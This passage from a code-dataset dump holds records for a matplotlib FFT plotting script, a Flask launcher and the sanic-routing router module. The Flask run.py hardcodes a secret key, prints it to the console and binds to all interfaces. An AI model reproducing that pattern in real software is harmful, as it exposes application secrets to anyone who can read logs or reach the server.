"matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.fft.rfft", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.fft.irfft", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 47, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.fft.rfft", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 56, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.fft.irfft", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 68, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "numpy.fft.rfft", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 81, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 81, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "numpy.fft.irfft", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 89, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}]}
{"seq_id": "32660559039", "text": "#!venv/bin/python\nfrom logging import FileHandler, WARNING\n\n# Adding 2 environment variables before importing app config.\nimport os\nos.environ[\"SECRET_KEY\"] = \"curatus_temp_pw_key\"\nos.environ[\"APP_SETTINGS\"] = \"project.server.config.ProductionConfig\"\n\n\nfrom manage import app\n\nfile_handler = FileHandler('./project/logs/error_log.txt')\nfile_handler.setLevel(WARNING)\n\nprint(app.config.get('SECRET_KEY'))\n\napp.logger.addHandler(file_handler)\napp.run(debug=False,host='0.0.0.0',port=5000)\n", "repo_name": "harpreetathwal/curatus_backend", "sub_path": "run.py", "file_name": "run.py", "file_ext": "py", "file_size_in_byte": 487, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 7, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 13, "usage_type": "argument"}, {"api_name": "manage.app.config.get", "line_number": 15, "usage_type": "call"}, {"api_name": "manage.app.config", "line_number": 15, "usage_type": "attribute"}, {"api_name": "manage.app", "line_number": 15, "usage_type": "name"}, {"api_name": "manage.app.logger.addHandler", "line_number": 17, "usage_type": "call"}, {"api_name": "manage.app.logger", "line_number": 17, "usage_type": "attribute"}, {"api_name": "manage.app", "line_number": 17, "usage_type": "name"}, {"api_name": "manage.app.run", "line_number": 18, "usage_type": "call"}, {"api_name": "manage.app", "line_number": 18, "usage_type": "name"}]}
{"seq_id": "11502033212", "text": "import ast\nimport sys\nimport typing as t\nfrom abc import ABC, abstractmethod\nfrom types import SimpleNamespace\nfrom warnings import warn\n\nfrom sanic_routing.group import RouteGroup\nfrom sanic_routing.patterns import ParamInfo\n\nfrom .exceptions import (\n    BadMethod,\n    FinalizationError,\n    InvalidUsage,\n    NoMethod,\n    NotFound,\n)\nfrom .line import Line\nfrom .patterns import REGEX_TYPES, REGEX_TYPES_ANNOTATION\nfrom .route import Route\nfrom .tree import Node, Tree\nfrom .utils import parts_to_path, path_to_parts\n\n# The below functions might be called by the compiled source code, and\n# therefore should be made available here by import\nimport re  # noqa  isort:skip\nfrom datetime import datetime  # noqa  isort:skip\nfrom urllib.parse import unquote  # noqa  isort:skip\nfrom uuid import UUID  # noqa  isort:skip\nfrom .patterns import parse_date, alpha, slug, nonemptystr  # noqa  isort:skip\n\n\nclass BaseRouter(ABC):\n    DEFAULT_METHOD = \"BASE\"\n    ALLOWED_METHODS: t.Tuple[str, ...] = tuple()\n\n    def __init__(\n        self,\n        delimiter: str = \"/\",\n        exception: t.Type[NotFound] = NotFound,\n        method_handler_exception: t.Type[NoMethod] = NoMethod,\n        route_class: t.Type[Route] = Route,\n        group_class: t.Type[RouteGroup] = RouteGroup,\n        stacking: bool = False,\n        cascade_not_found: bool = False,\n    ) -> None:\n        self._find_route = None\n        self._matchers = None\n        self.static_routes: t.Dict[t.Tuple[str, ...], RouteGroup] = {}\n        self.dynamic_routes: t.Dict[t.Tuple[str, ...], RouteGroup] = {}\n        self.regex_routes: t.Dict[t.Tuple[str, ...], RouteGroup] = {}\n        self.name_index: t.Dict[str, Route] = {}\n        self.delimiter = delimiter\n        self.exception = exception\n        self.method_handler_exception = method_handler_exception\n        self.route_class = route_class\n        self.group_class = group_class\n        self.tree = Tree(router=self)\n        self.finalized = False\n        self.stacking = stacking\n        self.ctx = SimpleNamespace()\n        self.cascade_not_found = cascade_not_found\n\n        self.regex_types: REGEX_TYPES_ANNOTATION = {}\n\n        for label, (cast, pattern, param_info_class) in REGEX_TYPES.items():\n            self.register_pattern(label, cast, pattern, param_info_class)\n\n    @abstractmethod\n    def get(self, **kwargs):\n        ...\n\n    def resolve(\n        self,\n        path: str,\n        *,\n        method: t.Optional[str] = None,\n        orig: t.Optional[str] = None,\n        extra: t.Optional[t.Dict[str, str]] = None,\n    ) -> t.Tuple[Route, t.Callable[..., t.Any], t.Dict[str, t.Any]]:\n        try:\n            route, param_basket = self.find_route(\n                path,\n                method,\n                self,\n                {\"__params__\": {}, \"__matches__\": {}},\n                extra,\n            )\n        except (NotFound, NoMethod) as e:\n            # If we did not find the route, we might need to try routing one\n            # more time to handle strict_slashes\n            if path.endswith(self.delimiter):\n                return self.resolve(\n                    path=path[:-1],\n                    method=method,\n                    orig=path,\n                    extra=extra,\n                )\n            raise self.exception(str(e), path=path)\n\n        if isinstance(route, RouteGroup):\n            try:\n                route = route.methods_index[method]\n            except KeyError:\n                raise self.method_handler_exception(\n                    f\"Method '{method}' not found on {route}\",\n                    method=method,\n                    allowed_methods=route.methods,\n                )\n\n        # Convert matched values to parameters\n        params = param_basket[\"__params__\"]\n        if not params or param_basket[\"__matches__\"]:\n            # If param_basket[\"__params__\"] does not exist, we might have\n            # param_basket[\"__matches__\"], which are indexed based matches\n            # on path segments. They should already be cast types.\n            for idx, param in route.params.items():\n                # If the param index does not exist, then rely upon\n                # the __params__\n                try:\n                    value = param_basket[\"__matches__\"][idx]\n                except KeyError:\n                    continue\n\n                # Apply if tuple (from ext) or if it is not a regex matcher\n                if isinstance(value, tuple):\n                    param.process(params, value)\n                elif not route.regex or (\n                    route.regex and param.cast is not str\n                ):\n                    params[param.name] = value\n\n        # Double check that if we made a match it is not a false positive\n        # because of strict_slashes\n        if route.strict and orig and orig[-1] != route.path[-1]:\n            raise self.exception(\"Path not found\", path=path)\n\n        if method not in route.methods:\n            raise self.method_handler_exception(\n                f\"Method '{method}' not found on {route}\",\n                method=method,\n                allowed_methods=route.methods,\n            )\n\n        return route, route.handler, params\n\n    def add(\n        self,\n        path: str,\n        handler: t.Callable,\n        methods: t.Optional[\n            t.Union[t.Sequence[str], t.FrozenSet[str], str]\n        ] = None,\n        name: t.Optional[str] = None,\n        requirements: t.Optional[t.Dict[str, t.Any]] = None,\n        strict: bool = False,\n        unquote: bool = False,  # noqa\n        overwrite: bool = False,\n        append: bool = False,\n    ) -> Route:\n        # Can add a route with overwrite, or append, not both.\n        # - overwrite: if matching path exists, replace it\n        # - append: if matching path exists, append handler to it\n        if overwrite and append:\n            raise FinalizationError(\n                \"Cannot add a route with both overwrite and append equal \"\n                \"to True\"\n            )\n        if not methods:\n            methods = [self.DEFAULT_METHOD]\n\n        if hasattr(methods, \"__iter__\") and not isinstance(methods, frozenset):\n            methods = frozenset(methods)\n        elif isinstance(methods, str):\n            methods = frozenset([methods])\n\n        if self.ALLOWED_METHODS and any(\n            method not in self.ALLOWED_METHODS for method in methods\n        ):\n            bad = [\n                method\n                for method in methods\n                if method not in self.ALLOWED_METHODS\n            ]\n            raise BadMethod(\n                f\"Bad method: {bad}. Must be one of: {self.ALLOWED_METHODS}\"\n            )\n\n        if self.finalized:\n            raise FinalizationError(\"Cannot finalize router more than once.\")\n\n        static = \"<\" not in path and requirements is None\n        regex = self._is_regex(path)\n\n        # There are generally three pools of routes on the router:\n        # - those that are static patterns with not matching\n        # - those that have one or more dynamic parts, but NO regex\n        # - those that have one or more dynamic parts, with at least one regex\n        if regex:\n            routes = self.regex_routes\n        elif static:\n            routes = self.static_routes\n        else:\n            routes = self.dynamic_routes\n\n        # Only URL encode the static parts of the path\n        path = parts_to_path(\n            path_to_parts(path, self.delimiter), self.delimiter\n        )\n\n        # We need to clean off the delimiters are the beginning, and maybe the\n        # end, depending upon whether we are in strict mode\n        strip = path.lstrip if strict else path.strip\n        path = strip(self.delimiter)\n        route = self.route_class(\n            self,\n            path,\n            name or \"\",\n            handler=handler,\n            methods=methods,\n            requirements=requirements,\n            strict=strict,\n            unquote=unquote,\n            static=static,\n            regex=regex,\n        )\n        group = self.group_class(route)\n\n        # Catch the scenario where a route is overloaded with and\n        # and without requirements, first as dynamic then as static\n        if static and route.segments in self.dynamic_routes:\n            routes = self.dynamic_routes\n\n        # Catch the reverse scenario where a route is overload first as static\n        # and then as dynamic\n        if not static and route.segments in self.static_routes:\n            existing_group = self.static_routes.pop(route.segments)\n            group.merge(existing_group, overwrite, append)\n\n        else:\n            if route.segments in routes:\n                existing_group = routes[route.segments]\n                group.merge(existing_group, overwrite, append)\n\n            routes[route.segments] = group\n\n        if name:\n            self.name_index[name] = route\n\n        group.finalize()\n\n        return route\n\n    def register_pattern(\n        self,\n        label: str,\n        cast: t.Callable[[str], t.Any],\n        pattern: t.Union[t.Pattern, str],\n        param_info_class: t.Type[ParamInfo] = ParamInfo,\n    ):\n        \"\"\"\n        Add a custom parameter type to the router. The cast should raise a\n        ValueError if it is an incorrect type. The order of registration is\n        important if it is possible that a single value could pass multiple\n        pattern types. Therefore, patterns are tried in the REVERSE order of\n        registration. All custom patterns will be evaluated before any built-in\n        patterns.\n\n        :param label: The parts that is used to signify the type: example\n\n        :type label: str\n        :param cast: The callable that casts the value to the desired type, or\n            fails trying\n        :type cast: t.Callable[[str], t.Any]\n        :param pattern: A regular expression that could also match the path\n            segment\n        :type pattern: Union[t.Pattern, str]\n        \"\"\"\n        if not isinstance(label, str):\n            raise InvalidUsage(\n                \"When registering a pattern, label must be a \"\n                f\"string, not label={label}\"\n            )\n        if not callable(cast):\n            raise InvalidUsage(\n                \"When registering a pattern, cast must be a \"\n                f\"callable, not cast={cast}\"\n            )\n        if not isinstance(pattern, str) and not isinstance(pattern, t.Pattern):\n            raise InvalidUsage(\n                \"When registering a pattern, pattern must be a \"\n                f\"string or a Pattern, not pattern={pattern}, \"\n                f\"type={type(pattern)}\"\n            )\n\n        if isinstance(pattern, str):\n            pattern = re.compile(pattern)\n\n        globals()[cast.__name__] = cast\n        self.regex_types[label] = (cast, pattern, param_info_class)\n\n    def finalize(self, do_compile: bool = True, do_optimize: bool = False):\n        \"\"\"\n        After all routes are added, we can put everything into a final state\n        and build the routing dource\n\n        :param do_compile: Whether to compile the source, mainly a debugging\n            tool, defaults to True\n        :type do_compile: bool, optional\n        :param do_optimize: Experimental feature that uses AST module to make\n            some optimizations, defaults to False\n        :type do_optimize: bool, optional\n        :raises FinalizationError: Cannot finalize if there are no routes, or\n            the router has already been finalized (can call reset() to undo it)\n        \"\"\"\n        if self.finalized:\n            raise FinalizationError(\"Cannot finalize router more than once.\")\n        if not self.routes:\n            raise FinalizationError(\"Cannot finalize with no routes defined.\")\n        self.finalized = True\n\n        for group in (\n            list(self.static_routes.values())\n            + list(self.dynamic_routes.values())\n            + list(self.regex_routes.values())\n        ):\n            group.finalize()\n            for route in group.routes:\n                route.finalize()\n\n        # Evaluates all of the paths and arranges them into a hierarchichal\n        # tree of nodes\n        self._generate_tree()\n\n        # Renders the source code\n        self._render(do_compile, do_optimize)\n\n    def reset(self):\n        self.finalized = False\n        self.tree = Tree(router=self)\n        self._find_route = None\n\n        for group in (\n            list(self.static_routes.values())\n            + list(self.dynamic_routes.values())\n            + list(self.regex_routes.values())\n        ):\n            group.reset()\n            for route in group.routes:\n                route.reset()\n\n    def _get_non_static_non_path_groups(\n        self, has_dynamic_path: bool\n    ) -> t.List[RouteGroup]:\n        \"\"\"\n        Paths that have some matching params (includes dynamic and regex),\n        but excludes any routes with a <path:path> or delimiter in its regex.\n        This is because those special cases need to be evaluated seperately.\n        Anything else can be evaluated in the node tree.\n\n        :param has_dynamic_path: Whether the path catches a path, or path-like\n        type\n        :type has_dynamic_path: bool\n        :return: list of routes that have no path, but do need matching\n        :rtype: List[RouteGroup]\n        \"\"\"\n        return sorted(\n            [\n                group\n                for group in list(self.dynamic_routes.values())\n                + list(self.regex_routes.values())\n                if group.dynamic_path is has_dynamic_path\n            ],\n            key=lambda x: x.depth,\n            reverse=True,\n        )\n\n    def _generate_tree(self) -> None:\n        self.tree.generate(self._get_non_static_non_path_groups(False))\n        self.tree.finalize()\n\n    def _render(\n        self, do_compile: bool = True, do_optimize: bool = False\n    ) -> None:\n        # Initial boilerplate for the function source\n        src = [\n            Line(\"def find_route(path, method, router, basket, extra):\", 0),\n            Line(\"parts = tuple(path[1:].split(router.delimiter))\", 1),\n        ]\n        delayed = []\n\n        # Add static path matching\n        if self.static_routes:\n            # TODO:\n            # - future improvement would be to decide which option to use\n            #   at runtime based upon the makeup of the router since this\n            #   potentially has an impact on performance\n            src += [\n                Line(\"try:\", 1),\n                Line(\n                    \"group = router.static_routes[parts]\",\n                    2,\n                ),\n                Line(\"basket['__raw_path__'] = path\", 2),\n                Line(\"return group, basket\", 2),\n                Line(\"except KeyError:\", 1),\n                Line(\"pass\", 2),\n            ]\n            # src += [\n            #     Line(\"if parts in router.static_routes:\", 1),\n            #     Line(\"route = router.static_routes[parts]\", 2),\n            #     Line(\"basket['__raw_path__'] = route.path\", 2),\n            #     Line(\"return route, basket\", 2),\n            # ]\n            # src += [\n            #     Line(\"if path in router.static_routes:\", 1),\n            #     Line(\"route = router.static_routes.get(path)\", 2),\n            #     Line(\"basket['__raw_path__'] = route.path\", 2),\n            #     Line(\"return route, basket\", 2),\n            # ]\n\n        # Add in pre-compiled regular expressions so they do not need to\n        # compile at run time\n        if self.regex_routes:\n            routes = sorted(\n                self.regex_routes.values(),\n                key=lambda route: len(route.parts),\n                reverse=True,\n            )\n            delayed.append(Line(\"matchers = [\", 0))\n            for idx, group in enumerate(routes):\n                group.pattern_idx = idx\n                delayed.append(Line(f\"re.compile(r'^{group.pattern}$'),\", 1))\n            delayed.append(Line(\"]\", 0))\n\n        # Generate all the dynamic code\n        if self.dynamic_routes or self.regex_routes:\n            src += [Line(\"num = len(parts)\", 1)]\n            src += self.tree.render()\n\n        # Inject regex matching that could not be in the tree\n        for group in self._get_non_static_non_path_groups(True):\n            route_container = (\n                \"regex_routes\" if group.regex else \"dynamic_routes\"\n            )\n            route_idx: t.Union[str, int] = 0\n            holder: t.List[Line] = []\n\n            if group.requirements:\n                route_idx = \"route_idx\"\n                Node()._inject_requirements(holder, 2, group)\n\n            if route_idx == 0 and len(group.routes) > 1:\n                route_idx = \"route_idx\"\n                Node._inject_method_check(holder, 2, group)\n\n            src.extend(\n                [\n                    Line(\n                        (\n                            \"match = router.matchers\"\n                            f\"[{group.pattern_idx}].match(path)\"\n                        ),\n                        1,\n                    ),\n                    Line(\"if match:\", 1),\n                    *holder,\n                    Line(\"basket['__params__'] = match.groupdict()\", 2),\n                    Line(\n                        (\n                            f\"return router.{route_container}\"\n                            f\"[{group.segments}][{route_idx}], basket\"\n                        ),\n                        2,\n                    ),\n                ]\n            )\n\n        src.append(Line(\"raise NotFound\", 1))\n        src.extend(delayed)\n\n        self.find_route_src = \"\".join(\n            map(str, filter(lambda x: x.render, src))\n        )\n        if do_compile:\n            try:\n                syntax_tree = ast.parse(self.find_route_src)\n\n                if do_optimize:\n                    self._optimize(syntax_tree.body[0])\n\n                if sys.version_info.major == 3 and sys.version_info.minor >= 9:\n                    # This is purely a convenience thing. Python 3.9 added this\n                    # feature, so it allows us to see exactly how the\n                    # interpreter will see the code after compiling and any\n                    # optimizing.\n                    setattr(\n                        self,\n                        \"find_route_src_compiled\",\n                        ast.unparse(syntax_tree),  # type: ignore\n                    )\n\n                # Sometimes there may be missing meta data, so we add it back\n                # before compiling\n                ast.fix_missing_locations(syntax_tree)\n\n                compiled_src = compile(\n                    syntax_tree,\n                    \"\",\n                    \"exec\",\n                )\n            except SyntaxError as se:\n                syntax_error = (\n                    f\"Line {se.lineno}: {se.msg}\\n{se.text}\"\n                    f\"{' '*max(0,int(se.offset or 0)-1) + '^'}\"\n                )\n                raise FinalizationError(\n                    f\"Cannot compile route AST:\\n{self.find_route_src}\"\n                    f\"\\n{syntax_error}\"\n                )\n            ctx: t.Dict[t.Any, t.Any] = {}\n            exec(compiled_src, None, ctx)\n            self._find_route = ctx[\"find_route\"]\n            self._matchers = ctx.get(\"matchers\")\n\n    @property\n    def find_route(self):\n        return self._find_route\n\n    @property\n    def matchers(self):\n        return self._matchers\n\n    @property\n    def groups(self):\n        return {\n            **self.static_routes,\n            **self.dynamic_routes,\n            **self.regex_routes,\n        }\n\n    @property\n    def routes(self):\n        return tuple(\n            [route for group in self.groups.values() for route in group]\n        )\n\n    def _optimize(self, node) -> None:\n        warn(\n            \"Router AST optimization is an experimental only feature. \"\n            \"Results may vary from unoptimized code.\"\n        )\n        if hasattr(node, \"body\"):\n            for child in node.body:\n                self._optimize(child)\n\n            # concatenate nested single if blocks\n            # EXAMPLE:\n            #      if parts[1] == \"foo\":\n            #          if num > 3:\n            # BECOMES:\n            #       if parts[1] == 'foo' and num > 3:\n            # Testing has shown that further recursion does not actually\n            # produce any faster results.\n            if self._is_lone_if(node) and self._is_lone_if(node.body[0]):\n                current = node.body[0]\n                nested = node.body[0].body[0]\n\n                values: t.List[t.Any] = []\n                for test in [current.test, nested.test]:\n                    if isinstance(test, ast.Compare):\n                        values.append(test)\n                    elif isinstance(test, ast.BoolOp) and isinstance(\n                        test.op, ast.And\n                    ):\n                        values.extend(test.values)\n                    else:\n                        ...\n                combined = ast.BoolOp(op=ast.And(), values=values)\n\n                current.test = combined\n                current.body = nested.body\n\n            # Look for identical successive if blocks\n            # EXAMPLE:\n            #       if num == 5:\n            #           foo1()\n            #       if num == 5:\n            #           foo2()\n            # BECOMES:\n            #       if num == 5:\n            #           foo1()\n            #           foo2()\n            if (\n                all(isinstance(child, ast.If) for child in node.body)\n                # TODO: create func to peoperly compare equality of conditions\n                # and len({child.test for child in node.body})\n                and len(node.body) > 1\n            ):\n                first, *rem = node.body\n                for item in rem:\n                    first.body.extend(item.body)\n\n                node.body = [first]\n\n        if hasattr(node, \"orelse\"):\n            for child in node.orelse:\n                self._optimize(child)\n\n    @staticmethod\n    def _is_lone_if(node):\n        return len(node.body) == 1 and isinstance(node.body[0], ast.If)\n\n    def _is_regex(self, path: str):\n        parts = path_to_parts(path, self.delimiter)\n\n        def requires(part):\n            if not part.startswith(\"<\") or \":\" not in part:\n                return False\n\n            _, pattern_type, *__ = part[1:-1].split(\":\")\n\n            return (\n                part.endswith(\":path>\")\n                or self.delimiter in part\n                or pattern_type not in self.regex_types\n            )\n\n        return any(requires(part) for part in parts)\n", "repo_name": "sanic-org/sanic-routing", "sub_path": "sanic_routing/router.py", "file_name": "router.py", "file_ext": "py", "file_size_in_byte": 22525, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "81", "api": [{"api_name": "abc.ABC", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 35, "usage_type": "attribute"}, {"api_name": "typing.Type", "line_number": 40, "usage_type": "attribute"}, {"api_name": "exceptions.NotFound", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 41, "usage_type": "attribute"}, {"api_name": "exceptions.NoMethod", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 42, "usage_type": "attribute"}, {"api_name": "route.Route", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 43, "usage_type": "attribute"}, {"api_name": "sanic_routing.group.RouteGroup", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 49, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sanic_routing.group.RouteGroup", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 50, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 50, "usage_type": "attribute"}, {"api_name": "sanic_routing.group.RouteGroup", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 51, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sanic_routing.group.RouteGroup", "line_number": 51, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 52, "usage_type": "attribute"}, {"api_name": "route.Route", "line_number": 52, "usage_type": "name"}, {"api_name": "tree.Tree", "line_number": 58, "usage_type": "call"}, {"api_name": "types.SimpleNamespace", "line_number": 61, "usage_type": "call"}, {"api_name": "patterns.REGEX_TYPES_ANNOTATION", "line_number": 64, "usage_type": "name"}, {"api_name": "patterns.REGEX_TYPES.items", "line_number": 66, "usage_type": "call"}, {"api_name": "patterns.REGEX_TYPES", "line_number": 66, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 77, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 78, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 79, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 79, "usage_type": "attribute"}, {"api_name": "exceptions.NotFound", "line_number": 89, "usage_type": "name"}, {"api_name": "exceptions.NoMethod", "line_number": 89, "usage_type": "name"}, {"api_name": "sanic_routing.group.RouteGroup", "line_number": 101, "usage_type": "argument"}, {"api_name": "route.methods_index", "line_number": 103, "usage_type": "attribute"}, {"api_name": "route.methods", "line_number": 108, "usage_type": "attribute"}, {"api_name": "route.params.items", "line_number": 117, "usage_type": "call"}, {"api_name": "route.params", "line_number": 117, "usage_type": "attribute"}, {"api_name": "route.regex", "line_number": 128, "usage_type": "attribute"}, {"api_name": "route.regex", "line_number": 129, "usage_type": "attribute"}, {"api_name": "route.strict", "line_number": 135, "usage_type": "attribute"}, {"api_name": "route.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "route.methods", "line_number": 138, "usage_type": "attribute"}, {"api_name": "route.methods", "line_number": 142, "usage_type": "attribute"}, {"api_name": "route.handler", "line_number": 145, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 80, "usage_type": "attribute"}, {"api_name": "route.Route", "line_number": 80, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 80, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 80, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 80, "usage_type": "attribute"}, {"api_name": "typing.Callable", "line_number": 150, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 151, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 152, "usage_type": "attribute"}, {"api_name": "typing.Sequence", "line_number": 152, "usage_type": "attribute"}, {"api_name": "typing.FrozenSet", "line_number": 152, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 154, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 155, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 155, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 155, "usage_type": "attribute"}, {"api_name": "exceptions.FinalizationError", "line_number": 165, "usage_type": "call"}, {"api_name": "exceptions.BadMethod", "line_number": 185, "usage_type": "call"}, {"api_name": 